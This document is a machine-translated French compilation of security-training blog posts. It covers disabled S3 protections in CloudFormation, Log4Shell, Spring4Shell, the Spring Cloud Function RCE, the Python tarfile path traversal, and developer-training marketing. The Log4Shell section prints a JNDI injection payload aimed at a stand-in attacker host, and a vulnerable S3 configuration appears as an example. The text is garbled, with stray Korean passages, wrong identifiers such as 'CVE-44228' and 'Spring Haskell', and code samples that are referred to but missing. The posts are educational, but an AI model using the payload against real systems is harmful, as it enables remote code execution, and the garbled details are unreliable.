Code de sécurité Insight

De nos jours, les menaces liées à la cybersécurité sont omniprésentes et incessantes. À mesure que notre vie se numérise, les risques liés à la cybercriminalité augmentent également. Il existe un nombre considérable de codes à sécuriser et les données personnelles sont extrêmement précieuses. De plus, il est devenu pratiquement impossible de suivre et de défendre tous les aspects de la surface d'attaque après le déploiement d'un programme.

Il existe des moyens d'atténuer certains de ces symptômes, notamment lorsque les organisations avisées adoptent le concept d'Infrastructure as Code (IaC). Bien entendu, comme dans tout autre domaine de développement, il existe plusieurs problèmes de sécurité à surmonter. De plus, étant donné que les développeurs créent le code qui génère l'infrastructure nécessaire à l'hébergement des applications, il est essentiel qu'ils soient sensibilisés à la sécurité à chaque étape du processus.

Dans ce cas, quelle est la meilleure approche pour les développeurs qui découvrent l'environnement des serveurs cloud afin d'acquérir les compétences techniques, de maîtriser les techniques et de renforcer leur sensibilisation à la sécurité ? Afin de remédier aux vulnérabilités courantes de l'IaC, nous avons créé la prochaine série Coders Conquer Security.Les prochains articles de blog se concentreront sur les étapes que les développeurs peuvent suivre pour commencer à déployer une infrastructure de sécurité sous forme de code dans leur organisation.

Pouvons-nous commencer ?

Il existe une fable sur un homme qui vivait dans l'Ouest américain. Cet homme souffrait de délires paranoïaques, croyant que des bandits allaient attaquer sa ferme pour la piller. Pour se protéger, il a installé une porte d'entrée très solide, ferma toutes les fenêtres et investit dans toutes sortes de dispositifs de sécurité, notamment en stockant de nombreuses armes à portée de main. Cependant, une nuit, il oublia de verrouiller la porte latérale et fut victime d'un cambriolage pendant son sommeil. Les voleurs repérèrent rapidement le gardien désarmé et profitèrent de la situation.

La désactivation des fonctions de sécurité dans l'infrastructure est similaire. Même si le réseau dispose d'une infrastructure de sécurité robuste, cela n'est pas très utile si les éléments sont désactivés.

Avant de commencer, je vous propose de relever un défi.

En cliquant sur le lien ci-dessus, vous serez redirigé vers une plateforme d'apprentissage ludique. Vous pourrez y corriger immédiatement les vulnérabilités liées aux fonctionnalités de sécurité désactivées. (Remarque : la plateforme s'ouvre dans Kubernetes, mais vous pouvez sélectionner Docker, CloudFormation, Terraform ou Ansible à l'aide du menu déroulant.)

Comment allez-vous ? Si vous avez encore des tâches à accomplir, veuillez lire les informations ci-dessous.

Les fonctionnalités de sécurité peuvent être désactivées pour diverses raisons. Certaines applications et certains frameworks peuvent les désactiver par défaut, et il est nécessaire de les activer pour qu'ils fonctionnent. De plus, l'administrateur peut avoir désactivé certaines fonctionnalités de sécurité afin de faciliter certaines tâches sans être constamment confronté à des défis ou à des blocages. (par exemple, en rendant public un compartiment AWS S3). Une fois la tâche terminée, il est possible d'oublier de réactiver les fonctionnalités désactivées. Il est également possible de préférer laisser les fonctionnalités désactivées afin de faciliter les tâches ultérieures.

Pourquoi les fonctions de sécurité désactivées peuvent-elles être dangereuses ?

Il est déconseillé de désactiver une ou plusieurs fonctionnalités de sécurité pour plusieurs raisons. L'une d'entre elles est que ces fonctionnalités ont été ajoutées aux ressources de l'infrastructure afin de les protéger contre les exploits, menaces ou vulnérabilités connus. Si vous désactivez ces fonctionnalités, vous ne pourrez plus protéger vos ressources.

Les attaquants tentent toujours de trouver en premier lieu les vulnérabilités faciles à exploiter et peuvent utiliser des scripts pour détecter les faiblesses courantes. Cela revient à faire comme un voleur qui fouille toutes les voitures dans la rue pour vérifier si les portes sont ouvertes. C'est beaucoup plus facile que de briser une vitre. Les pirates peuvent être surpris de constater que les défenses de sécurité courantes sont désactivées. Cependant, si cela se produit, il ne leur faudra pas longtemps pour en tirer profit.

Deuxièmement, si les mesures de sécurité sont bien en place mais désactivées, cela peut créer une fausse impression de sécurité. Si l'administrateur n'est pas informé que quelqu'un a désactivé ces mesures de protection, il pourrait croire qu'il est protégé contre les menaces courantes.

Considérons, à titre d'exemple, la fonctionnalité de sécurité AWS S3 appelée « blocage de l'accès public », qui illustre comment un attaquant pourrait exploiter une fonctionnalité de sécurité désactivée. La fonctionnalité « Blocage de l'accès public » d'Amazon S3 permet aux administrateurs de compte et aux propriétaires de compartiments de configurer facilement un contrôle centralisé afin de limiter l'accès public aux ressources Amazon S3.Cependant, certains administrateurs rencontrant des difficultés pour accéder à un compartiment S3 peuvent décider de le rendre public afin de terminer leur travail le plus rapidement possible. S'ils omettent d'activer la fonctionnalité de sécurité, les attaquants peuvent alors accéder à toutes les informations stockées dans ce compartiment S3, ce qui entraîne non seulement une fuite d'informations, mais également des coûts supplémentaires liés aux frais de transfert de données.

Veuillez comparer le code réel. Veuillez examiner l'extrait CloudFormation suivant.

Vulnérable :

Bucket d'entreprise :
Type : AWS : :S3 : :Bucket
Propriétés :
Configuration du blocage d'accès public :
Blocage ACL public : faux
Blocage de la politique publique : faux
Ignorer l'ACL public : faux
Limitation du bucket public : faux
Configuration de la gestion des versions :
État : activé
Chiffrement du bucket :
Configuration du chiffrement côté serveur :
- Chiffrement côté serveur par défaut :
Algorithme SSE : « AES 256 »

Sécurité :

Bucket d'entreprise :
Type : AWS : :S3 : :Bucket
Propriétés :
Configuration du blocage d'accès public :
Blocage ACL public : True
Blocage de la politique publique : True
Ignorer l'ACL public : True
Limitation du bucket public : True
Configuration de la gestion des versions :
Statut : Activé
Chiffrement du bucket :
Configuration du chiffrement côté serveur :
- Chiffrement côté serveur par défaut :
Algorithme SSE : « AES 256 »

Prévention des fonctions de sécurité désactivées

Il est tout aussi important de disposer de politiques que de pratiques pour éviter que les fonctionnalités de sécurité désactivées aient un impact négatif sur l'organisation. Il est essentiel de mettre en place une politique stricte stipulant que les fonctionnalités de sécurité ne doivent être désactivées que dans des circonstances très spécifiques. Les cas où une fonctionnalité doit être temporairement désactivée pour résoudre un problème ou mettre à jour une application doivent être consignés. Une fois les tâches nécessaires effectuées, il est impératif de vérifier que la fonctionnalité a bien été réactivée.

Afin de simplifier l'exploitation, si les fonctions de sécurité doivent être désactivées de manière permanente, il est nécessaire de fournir une protection supplémentaire aux données concernées afin d'empêcher les pirates d'y accéder en l'absence de protection de base. Si les fonctions de protection nécessaires sont désactivées, il ne s'agit que d'une question de temps avant qu'un attaquant ne trouve une porte ouverte et n'exploite la situation.

Veuillez vous renseigner plus en détail et relever le défi.

Veuillez consulter notre page de blog pour obtenir des informations détaillées sur cette vulnérabilité et découvrir comment protéger votre organisation et vos clients contre les dommages causés par d'autres failles et vulnérabilités de sécurité.

Après avoir lu cet article, êtes-vous prêt à identifier et corriger cette vulnérabilité ? Il est temps de passer à l'action.Essayez le défi de sécurité ludique iAC. Perfectionnez et maintenez à jour toutes vos compétences en cybersécurité Secure Code Warrior .

Cette série hebdomadaire traite des huit principales vulnérabilités de l'infrastructure en tant que code. Pour plus de détails, veuillez revenir la semaine prochaine.

Dans un précédent article de blog, nous avons abordé le sujet des pièges de Java, en particulier les opérateurs binaires et les opérateurs booléens.

• Java avancé - Opérateurs binaires vs opérateurs booléens

Nous avons ajouté une variante de ce quiz ainsi que plusieurs autres pièges Java à notre quiz divertissant Sensei« Challenge The Sensei ».

• scw.Typeform.com/to/RGW7Q7OE

Si vous avez lu l'article de blog ci-dessus, vous devriez être en mesure de répondre à au moins une question.

Cependant, cela peut ne pas être le cas pour vos amis. Par conséquent, si vous trouvez le quiz intéressant, vous pouvez le partager avec vos amis et vérifier s'ils obtiennent des scores aussi élevés que vous.

Il s'agit simplement de ne pas se contenter de proposer des quiz. Nous souhaitons les utiliser pour enseigner et systématiser les connaissances. C'est pourquoi nous avons créé un référentiel Github contenant des exemples de code exécutables et des solutions aux problèmes.

• GitHub.com/Secure Code Warrior/Challenge The Sensei

Ceci est un référentiel activé par l'enseignant.

Lorsque vous clonez le référentiel et le chargez dans IntelliJ (en supposant que le code de sécurité est présent) , le plugin Sensei pour IntelliJ, s'il est installé, vérifie automatiquement la présencesensei et charge Sensei .

Lorsque vous explorez le code dans l'IDE, IntelliJ affiche un message indiquant qu'il y a une erreur dans le code, ce qui facilite l'identification des problèmes dans le code.

• Lorsque vous placez votre souris sur le code surligné, une invite s'affiche pour vous signaler l'erreur.
• Touches d'action contextuelle : alt+enter (Windows) ou option+Enter (macOS) permettent d'utiliser QuickFix pour modifier le code.

Sensei suivante a été ajoutée.

• Opérateur bit à bit
• Répartition des adresses IP
• Ordre d'assaut

Nous prévoyons d'ajouter davantage de recettes et de textes explicatifs afin de traiter le reste du code. Cependant, cela ne doit pas vous empêcher d'examiner le code et de détecter les erreurs.

N'oubliez pas de répondre au quiz. «Relevez le défi lancé par votre professeur ».

Le 9 décembre, une vulnérabilité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, surnommé Log4Shell, a reçu le niveau de gravité « élevé » (critique) car l'exploit permet l'exécution de code à distance. De plus, log4j-core étant l'une des bibliothèques de journalisation Java les plus couramment utilisées, cela met en danger des millions d'applications.

Souhaitez-vous rapidement améliorer vos compétences nécessaires pour gérer Log4Shell ?

Nous avons créé une démonstration permettant d'expérimenter l'exploitation de cette vulnérabilité dans un simulateur appelé Mission, en commençant par les concepts de base de Log4Shell. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter l'infrastructure et les applications. Veuillez cliquer ici pour accéder directement à la démonstration oucontinuer votre lecture pour en savoir plus sur cette vulnérabilité.

Des informations anciennes ?

Les exploits ne sont pas une nouveauté. Les chercheurs en sécurité l'ont déjà souligné lors de la conférence Black Hat 2016, avec Alvaro Munoz et Oleksandr Mirosh. Ils ont expliqué comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance, en précisant que« les applications ne doivent pas effectuer de requêtes JNDI avec des données non fiables ».C'est précisément le cœur du problème avec Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell est la suivante.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

Ensuite, il existe JNDI, une API qui permet de rechercher des données ou des ressources en se connectant à des services à l'aide de protocoles tels que Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En résumé, dans l'exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Par exemple, la réponse peut pointer vers un fichier de classe Java contenant du code malveillant, ce fichier étant ensuite exécuté sur le serveur vulnérable.

La raison pour laquelle cette vulnérabilité est considérée comme si préoccupante est que Log4j évalue toutes les entrées de journal et interroge toutes les entrées utilisateur enregistrées écrites dans une syntaxe EL préfixée par « jndi ». La charge utile peut être insérée à n'importe quel endroit où l'utilisateur peut saisir des données, comme dans les champs de formulaire.De plus, les en-têtes HTTP (tels que User-Agent, X-Forwarded-For et d'autres en-têtes) peuvent être personnalisés pour transmettre la charge utile.

Pour découvrir directement l'exploitation, veuillez vous rendre à la vitrine et passer à l'étape 2 - « Impact de l'expérience ».

Prévention : sensibilisation

La mise à niveau est recommandée pour toutes les applications, car elle corrige le code vulnérable de Log4j. Cependant, les versions 2.15.0 et 2.16.0 contiennent des vulnérabilités DDoS et autres, il est donc conseillé de passer à la version 2.17.0 dès la fin décembre.

En tant que développeurs de code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons garder à l'esprit que l'utilisation naïve de sources externes que nous considérons comme sûres peut compromettre la sécurité de nos applications.

Aurait-il été possible de prévenir cette vulnérabilité ? Oui et non. D'une part, lorsque des composants vulnérables sont introduits par le biais de logiciels tiers, les développeurs ont peu de marge de manœuvre. D'autre part, la leçon à retenir est récurrente : il ne faut jamais se fier aux entrées des utilisateurs.

Secure Code Warrior estime que la meilleure approche pour les développeurs soucieux de la sécurité consiste à prévenir les vulnérabilités dans le code. SCW propose des formations à grande échelle pour chaque framework de programmation, ce qui a permis à nos clients professionnels d'identifier rapidement les développeurs Java concernés à l'aide des données de rapport. De plus, avec l'aide de spécialistes en sécurité formés par SCW, nous avons accéléré la mise à niveau de Log4j.

Secure Code Warrior propose notamment aux développeurs Java le plugin IntelliJ gratuit Sensei. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer des directives de codage et prévenir et résoudre les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser des règles prédéfinies. Livre de recettes. Nous vous invitons à consulter nos recettes et à télécharger notre livre de recettes Log4j, qui vous aidera à identifier et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Veuillez mettre à niveau vos techniques de défense contre Log4Shell.

Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Le showcase pourrait vous être utile. Lorsque vous démarrez le showcase, vous passez rapidement en revue cette vulnérabilité, puis vous accédez à un environnement de simulation où vous pouvez tenter d'exploiter la faille en suivant les instructions fournies.

‍

La bibliothèque Spring, l'une des bibliothèques les plus populaires de la communauté Java, a récemment révélé deux vulnérabilités liées à l'exécution de code à distance (RCE). Afin de faciliter la compréhension des risques liés à ces vulnérabilités et des mesures à prendre, nous avons classé les informations connues concernant « Spring4Shell » et « Spring Cloud Function ».

Vulnérabilité 1 - « Spring 4 Shell » (CVE-2022-22965)

Le 29 mars 2022, la communauté a identifié une série de tweets contenant des captures d'écran de preuves de concept d'exploits visant Spring Core (SC). Ces exploits permettent l'exécution de code à distance sur toutes les versions de Spring Core, y compris la dernière version 5.3.17.

Quelles applications sont menacées ?

À l'heure actuelle, seules les applications hébergées sur Tomcat ont été identifiées comme étant exposées à ce nouveau risque d'exploitation. Bien qu'aucune attaque n'ait été confirmée sur les conteneurs de servlets Tomcat intégrés ou sur d'autres applications non hébergées sur Tomcat, il est important de noter que cela ne signifie pas pour autant qu'une menace visant ces frameworks ne pourrait pas réussir à l'avenir.

Déclaration officielle de lancement de Spring. Conformément à notre compréhension actuelle de la vulnérabilité, nous expliquons la vulnérabilité en précisant qu'elle doit remplir les conditions suivantes pour être considérée comme telle.

• JDK 9 ou supérieur
• Apache Tomcat en tant que conteneur de servlets
• Empaqueté avec WAR existant (par opposition au fichier jar exécutable Spring Boot)
• Dépendances Spring-webmvc ou Spring-webflux
• Spring Framework versions 5.3.0 à 5.3.17, 5.2.0 à 5.2.19 et versions antérieures

Comment fonctionne l'exploit « Spring4Shell » ?

L'exploitation repose sur l'utilisation de la « liaison de données » (org.SpringFramework.web.bind.WebDataBinder) dans les requêtes utilisant des objets Java simples (POJO) dans la signature de la méthode.

Ici, la classe Foo est une classe POJO et peut être définie comme suit. Veuillez noter que la classe réelle n'a pas d'importance tant qu'elle est chargée par le chargeur de classes.

Lorsqu'une requête est traitée à l'aide de cette méthode, le chargeur de classes est utilisé pour résoudre les classes. Le chargeur de classes permet de charger les classes au moment de l'exécution, sans avoir à précharger tous les types possibles en mémoire. Il identifie le fichier .jar à charger lors de l'utilisation d'une nouvelle classe.

Les informations les plus récentes et détaillées concernant cette vulnérabilité sont disponibles directement auprès de Spring. Article de blog(y compris les corrections ou solutions potentielles)

Vulnérabilité 2 - Fonction Spring Cloud (CVE-2022-22963)

Le 27 mars 2022, CyberKendra a publié des informations détaillées concernant une vulnérabilité d'exécution de code à distance (RCE) de type « zero-day » dans Spring Cloud Functions, pour laquelle aucun correctif n'existe. Cette vulnérabilité a reçu l'identifiant CVE-2022-22963 : Vulnérabilité d'accès aux ressources Spring Expression.

Quelles applications sont menacées ?

Cette vulnérabilité a affecté l'application dans les conditions suivantes.

• JDK 9 ou supérieur
• Spring Cloud Functions version 3.1.6 (ou antérieure), 3.2.2 (ou antérieure) ou toute autre version non prise en charge

Comment l'exploitation est-elle mise en œuvre ?

La fonction Spring Cloud permet aux développeurs de configurer la manière dont le routage est géré via la propriété spring.cloud.function.routing-expression, généralement effectuée via la configuration ou le code. Il s'agit d'une fonctionnalité puissante qui accepte le langage d'expression Spring (SpEL). Nous avons découvert qu'il était possible de définir cette propriété via l'en-tête HTTP de la requête, ce qui constitue une vulnérabilité de type « zero-day ». En d'autres termes, un attaquant peut exécuter du code arbitraire en intégrant directement du code SpEL dans une requête HTTP adressée au point de terminaison RoutingFunction.

Quelles mesures les utilisateurs doivent-ils prendre pour atténuer les risques ?

Les versions publiques 3.1.7 et 3.2.3 de Spring Haskell résolvent ce problème en désactivant la possibilité de définir cette propriété via l'en-tête HTTP, ce qui atténue la vulnérabilité. Aucune action supplémentaire n'est requise après la mise à niveau vers l'une de ces deux versions.

Souhaitez-vous en savoir plus sur la manière dont nous aidons les développeurs à écrire un code plus sécurisé ?Veuillez prendre rendez-vous pour une démonstration ou consulter notre guide gratuit sur les pratiques de codage sécurisé, le Security Code Coach.

‍

Source

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Récemment, une équipe de chercheurs en sécurité a annoncé avoir découvert un bug vieux de 15 ans dans la fonctionnalité d'extraction des fichiers tar de Python. Cette vulnérabilité a été signalée pour la première fois en 2007 et a été suivie sous le numéro CVE-2007-4559. Une note a été ajoutée à la documentation officielle de Python, mais le bug lui-même n'a pas été corrigé.

Cette vulnérabilité peut affecter des milliers de projets logiciels, mais beaucoup de personnes ne sont pas conscientes de la situation ni de la manière de la gérer. C'est pourquoi nous sommes ici. Secure Code Warrior vous offre la possibilité de simuler directement l'exploitation de cette vulnérabilité, d'en constater les effets et d'expérimenter par vous-même le mécanisme de ce bug persistant. Vous serez ainsi mieux à même de protéger vos applications.

Veuillez procéder à la simulation de la mission immédiatement.

Vulnérabilité : exploration du chemin d'accès lors de l'extraction du fichier tar

La navigation dans les chemins d'accès ou les répertoires se produit lorsque les entrées utilisateur non supprimées contribuent à la construction du chemin d'accès au fichier. Cela permet à un attaquant d'accéder au fichier, de le remplacer et de modifier du code arbitraire.

Cette vulnérabilité se trouve dans Python. Le module tarfile.tar (archive sur bande) est un fichier unique appelé archive. Il regroupe plusieurs fichiers avec des métadonnées et permet généralement de reconnaître l'espace comme suit : .tar.gz ou .tgz. Chaque membre de l'archive compressée peut être défini comme suit : Fichier d'informations tar Objet contenant des métadonnées telles que le nom du fichier, la date de modification, la propriété, etc.

Il existe un risque, car il est possible d'extraire à nouveau les archives.

Lors de l'extraction, un nom doit être attribué à chaque membre. Cet emplacement indique le chemin d'accès au fichier par défaut.

Une fois ce chemin créé, il sera transmis au chemin suivant. Fichier tar.extract ou Fichier star. Extraction complète Fonction permettant d'effectuer l'extraction :

Le problème avec ce fichier réside dans le manque de rigueur dans le choix du nom. Un attaquant pourrait modifier le nom du fichier pour inclure les caractères de navigation suivants : deux points, deux points, barre oblique (../). L'utilisation de ces caractères pourrait permettre au fichier d'être exécuté.

Si vous connaissez la méthode d'identification des vulnérabilités, celles-ci apparaissent également dans d'autres scénarios. La vulnérabilité de Python dans le traitement des fichiers tar est la suivante : extraction de fichiers zip. Vous connaissez peut-être déjà ce contenu sous le nom suivant : vulnérabilité zip slip. Sa véritable valeur a également été révélée dans d'autres langages que Python.

Lien vers la mission 

Comment pouvons-nous réduire les risques ?

<<이 취약점이 수년간 우리에게 다가왔어요. 파이썬 기능이 제대로 작동하고 있다고 생각해요. 해야 할 일.이 경우 “버그가 기능이야” 라고 말하는 사람이 없는 것입니다.안타깝게도 개발자들이 알 수 없는 곳에서 tar 또는 zip 파일을 추출하는 것을 항상 기억할 수 없습니다.보안 관행의 일환으로 경로 탐색 취약점을 지키기 위해 최선을 다하는 것은 개발자의 몫입니다.

Souhaitez-vous en savoir plus sur la manière d'écrire du code sécurisé et d'atténuer les risques avec Python ?

Veuillez consulter notre produit d'essai Python Challenge gratuit.

Si vous souhaitez obtenir davantage de directives de codage gratuites, veuillez revenir nous voir. Secure Code Coach vous aide à maintenir vos pratiques de sécurité à jour.

‍

‍

Micha Martinez est analyste en cybersécurité et directeur de la photographie chez Nelnet, une grande entreprise américaine spécialisée dans la gestion et le remboursement des prêts étudiants et des services financiers liés à l'éducation. Lorsqu'il a été chargé de créer un programme de formation au codage sécurisé destiné aux développeurs, il a su impliquer son équipe de manière créative. Nous avons été impressionnés par la façon dont il a mis en place ce programme de formation au codage sécurisé et avons souhaité le rencontrer pour en savoir plus.

Quelle est la conclusion ?

Favorisez une culture de la sécurité et formez des experts en sécurité interne au sein de l'équipe de développement qui peuvent agir de manière bienveillante.

En mettant l'accent sur les codes de sécurité, nous avons contribué à rendre l'entreprise plus forte et plus sûre.

Micha et son équipe de sécurité ont compris dès le début l'importance de mettre en place un code de sécurité chez Nelnet.Ils souhaitaient atteindre cet objectif de manière attrayante, pertinente et gratifiante. Il a découvert qu'en identifiant les développeurs qui manifestaient un intérêt et une expertise marqués pour le codage sécurisé et en les formant pour qu'ils deviennent des champions de la sécurité, ces derniers pouvaient jouer un rôle de catalyseurs dans le changement des mentalités en matière de formation à la sécurité. Ces personnes deviennent alors des mentors pour leurs collègues qui ont besoin d'aide au niveau P2P et des leaders dans la mise en œuvre du changement des pratiques de codage sécurisé au sein de l'organisation.

Voici plus de détails sur la manière dont Micha et son équipe ont transformé la mentalité et la culture en matière de prévention de la sécurité afin de rendre l'entreprise « plus forte et plus sûre ».

Le droit de se vanter... et de réduire les points faibles, c'est tout.

Micha ne propose pas de programme de formation classique en matière de sécurité. Il utilise ses talents de compétiteur et de cinéaste pour rendre ses tournois particulièrement intéressants et réussis. Les développeurs acquièrent ainsi des connaissances pertinentes et pratiques qui leur permettent de créer des codes de sécurité plus robustes.

La sécurité des produits est renforcée et offre un niveau de protection plus élevé contre les vulnérabilités logicielles, ce qui est également bénéfique pour les entreprises. L'apprentissage de la sécurité logicielle ne doit pas nécessairement être une expérience ennuyeuse consistant uniquement à cocher des cases. Les développeurs souhaitent une expérience de formation immersive et stimulante, en plus d'être en rapport avec leur travail quotidien.

Veuillez observer Micha expliquer comment rendre la formation au codage sécurisé plus agréable grâce à un tournoi dont les prix comprennent la ceinture de champion et un abonnement à La Lucha Mania. Pour que la sécurité de votre équipe soit une priorité absolue, il suffit d'un peu de saine compétition.

Y a-t-il des personnes qui n'apprécient pas le droit de se vanter ?

‍

Adoptez une culture axée sur le codage sécurisé... Les outils seuls ne suffisent pas.

Misha a finalement réfléchi à une autre raison pour laquelle il recommande Secure Code Warrior. Grâce à cette plateforme, il a pu créer une culture préventive et favoriser l'apprentissage actif. La mise en place du programme de formation a également pris du temps, et il a investi dans les développeurs qui ont obtenu de bons résultats lors des formations. Une culture innovante est nécessaire pour que chaque développeur puisse acquérir les compétences nécessaires pour adopter en toute sécurité une approche préventive du codage.

Écoutons Micha nous expliquer pourquoi l'adoption d'une culture de codage sécurisé fait toute la différence pour Secure Code Warrior.

Secure Code Warrior offre une plateforme d'apprentissage du codage sécurisé immersive et captivante pour les développeurs. Souhaitez-vous assister à une démonstration ? Veuillez prendre rendez-vous ci-dessous.

Nous nous sommes entretenus avec Larry Maccherone de Contrast Security, le leader de la sécurité des applications modernisées, qui intègre l'analyse du code et la prévention des attaques directement dans le logiciel. Nous avons discuté de la manière dont l'apprentissage contextuel fonctionne avec succès pour former les développeurs au codage sécurisé.

Les développeurs d'aujourd'hui sont de plus en plus souvent chargés d'empêcher les atteintes à la cybersécurité de demain. S'il existe des formations sur les vulnérabilités du code, elles sont souvent proposées dans des formats peu attrayants et sans rapport avec le travail quotidien des développeurs. Les développeurs doivent écrire du code rapidement pour répondre aux besoins des clients, ce qui repousse les objectifs commerciaux tels que la formation. Et lorsque cette formation est dispensée hors contexte et sous la forme de longues présentations ou de manuels d'étude, elle devient encore plus décourageante, ce qui fait qu'il est difficile de voir l'intérêt de l'effort supplémentaire. 

Comment les entreprises peuvent-elles dispenser une formation essentielle en matière de sécurité aux développeurs sans perturber leurs responsabilités quotidiennes ni les éloigner de leurs outils et flux de travail préférés ? 

La réponse est simple. En utilisant l'apprentissage contextuel et en fournissant une formation directement au bout des doigts des développeurs. Dans la vidéo suivante, Larry explique pourquoi cette méthode est si puissante pour les développeurs.

‍
En intégrant les possibilités de formation au moment où les développeurs examinent les problèmes de code, ils reçoivent immédiatement les informations les plus pertinentes pour le problème ou la vulnérabilité identifiés. En outre, comme la formation est dispensée en morceaux plus petits et plus digestes, les développeurs sont plus susceptibles de retenir l'information et d'empêcher l'utilisation d'un code vulnérable à l'avenir. Comme le dit Larry, "le retour d'information est la clé de l'apprentissage".

En fin de compte, les développeurs doivent faire plus en moins de temps et fournir un code sûr et de haute qualité. En intégrant une formation contextualisée et spécifique à la vulnérabilité du code, vous optimisez les flux de travail et l'expérience des développeurs, et vous augmentez leur rétention. Larry vous explique comment vous pouvez économiser ces 40 heures de formation !

‍
Secure Code Warrior propose des intégrations techniques qui offrent un apprentissage contextuel et hyper pertinent à vos équipes de développement et de sécurité.

Intéressé par une démonstration ? Réservez-en une ci-dessous. 

‍

Le cycle de vie du développement logiciel (SDLC) semble tout à fait inoffensif. Il s'agit d'un processus au cours duquel nous, responsables logiciels, unissons nos forces pour accomplir des prouesses et présenter à la société des produits numériques indispensables.

Cependant, si vous avez déjà participé à un projet de développement logiciel, vous savez qu'il s'agit d'un projet difficile, avec des défis à relever et des obstacles à surmonter. Même si cela peut être passionnant pendant un certain temps, l'épuisement professionnel est une réalité. En raison de la demande en logiciels, nous travaillons tous à un rythme effréné, en particulier les équipes de développement.

Imaginez maintenant qu'une autre tâche leur soit confiée. Il s'agit de la responsabilité de la sécurité des éléments du projet auxquels ils sont confrontés. Pour certaines personnes, cela pourrait entraîner, dans le pire des cas, l'effondrement de tout le système. Cependant, un scénario plus réaliste serait que les problèmes considérés comme plus urgents, sans priorité définie, soient traités en premier. Et si la plupart des développeurs ne sont pas formés au codage sécurisé (en particulier lorsque les responsables ne donnent pas la priorité à la sécurité), il n'est pas surprenant que les fréquentes fuites de données, les lancements d'applications défectueuses et les codes bogués atteignent un point critique parmi les experts en sécurité.

Les développeurs ont besoin de personnes qui soutiennent la sécurité des applications.

En examinant le scénario ci-dessus, on comprend pourquoi la sécurité est considérée comme « trop difficile » dans le processus de codage et pourquoi elle est confiée à l'équipe de sécurité. Les délais sont trop serrés, la formation insuffisante et il n'y a aucune raison de se soucier de la sécurité tout en menant à bien toutes les autres tâches.Cependant, pour maintenir cette situation, la demande en matière de code est trop importante. C'est précisément là que les développeurs de haut niveau se distinguent de leurs collègues, apprennent de nouvelles technologies et, surtout, peuvent créer un code plus sécurisé.

Cependant, il est important de noter que la gestion de la sécurité logicielle n'est pas la responsabilité des développeurs. Elle relève toujours de la compétence de l'équipe AppSec (ce qui permet de gagner du temps en évitant de corriger de manière répétitive les bogues courants lorsque l'on travaille avec des développeurs ayant une bonne connaissance de la sécurité). Pour que le processus DevSecOps fonctionne correctement, tous les membres de l'équipe doivent disposer du soutien et des outils nécessaires pour partager la responsabilité de la sécurité. Une formation adéquate est essentielle. Pour trouver le bon équilibre entre les outils appropriés et la formation, il est nécessaire de travailler en étroite collaboration avec les développeurs et de s'appuyer sur l'expertise des spécialistes AppSec pour inspirer et mener un changement positif.

Les formations destructives sont plus irritantes qu'efficaces, et il n'est pas efficace de causer du désagrément aux développeurs. Une solution alternative consiste à utiliser un IDE ou un outil de suivi des problèmes intégré, axé sur des connaissances simples, qui fournit aux utilisateurs les informations pertinentes au moment opportun.

Le principe de fonctionnement est le suivant.

Il ne s'agit pas d'une mesure préventive, mais d'une intervention opportune et appropriée.

L'apprentissage pratique adapté à la situation est sans aucun doute la méthode de formation la plus efficace, et les informations sont fournies au moment opportun, sous forme de petites doses. Cette approche, également appelée formation « juste à temps » (JIT), est particulièrement utile pour les développeurs qui apprennent le codage sécurisé.

Conformément aux principes de fabrication Lean de Toyota, la formation JIT est conçue pour être activée au moment le plus opportun, en fonction de la situation. Un développeur vient-il de créer un contenu qui semble inapproprié ? Que se passerait-il si une petite porte dérobée était ouverte et permettait à un attaquant d'exécuter du code à distance ?Il serait préférable que les développeurs puissent accéder aux informations dont ils ont besoin au moment opportun, plutôt que de rechercher des documents dans Confluence ou de rechercher sur Google des informations abordées dans le cadre de la formation.

Le « juste à temps » est à l'opposé de l'apprentissage « au cas où ». Bien que cette dernière approche soit la méthode la plus courante pour transmettre des connaissances, elle n'est pas la plus efficace. Nous devons faciliter l'accès des développeurs aux meilleures pratiques en matière de codage sécurisé et leur permettre de constater les avantages qu'ils peuvent en tirer tout en continuant à se concentrer sur leurs objectifs principaux et à progresser dans leur carrière.

Veuillez ne pas contraindre les développeurs à suivre des formations.

Nous sommes conscients que nos horaires de travail sont déjà très chargés. Dans ce contexte, quels incitatifs seraient nécessaires pour encourager les développeurs à se rendre en salle de cours ou à suivre cinq étapes pour accéder à une formation théorique statique via un changement de contexte ?

Il est généralement admis que, quel que soit le nombre de vulnérabilités à l'origine des violations de données, la plupart des mesures prises par les organisations ne sont pas suffisamment efficaces. Le rapport 2020 de Verizon sur les violations de données indique que 43 % des violations de données peuvent être attribuées à des vulnérabilités Web. Les développeurs ne reçoivent pas une formation adéquate. Ils ne bénéficient pas d'une formation supérieure ni de mesures de perfectionnement professionnel dans le cadre de leur travail. On peut citer comme exemples de vulnérabilités courantes les injections SQL, les techniques traditionnelles, etc. La navigation dans les chemins d'accès ne devrait pas entraîner de pertes de données importantes et le manque de compétences en cybersécurité ne devrait pas être incontrôlable.

Pourquoi sommes-nous surpris des résultats médiocres obtenus, alors que nous savons que les développeurs sont formés et sensibilisés à la sécurité dans leur environnement actuel ? Offrir une expérience de formation plus fluide, intégrée et moins intrusive, accessible dans l'espace de travail réel, tel que Jira, GitHub ou IDE, peut avoir un impact positif tant pour les développeurs que pour les organisations. Il suffit à l'industrie d'aller de l'avant dans un environnement qui n'est plus un luxe et de faciliter considérablement la sensibilisation à la sécurité.

Êtes-vous prêt à sécuriser votre flux de travail de développement ?

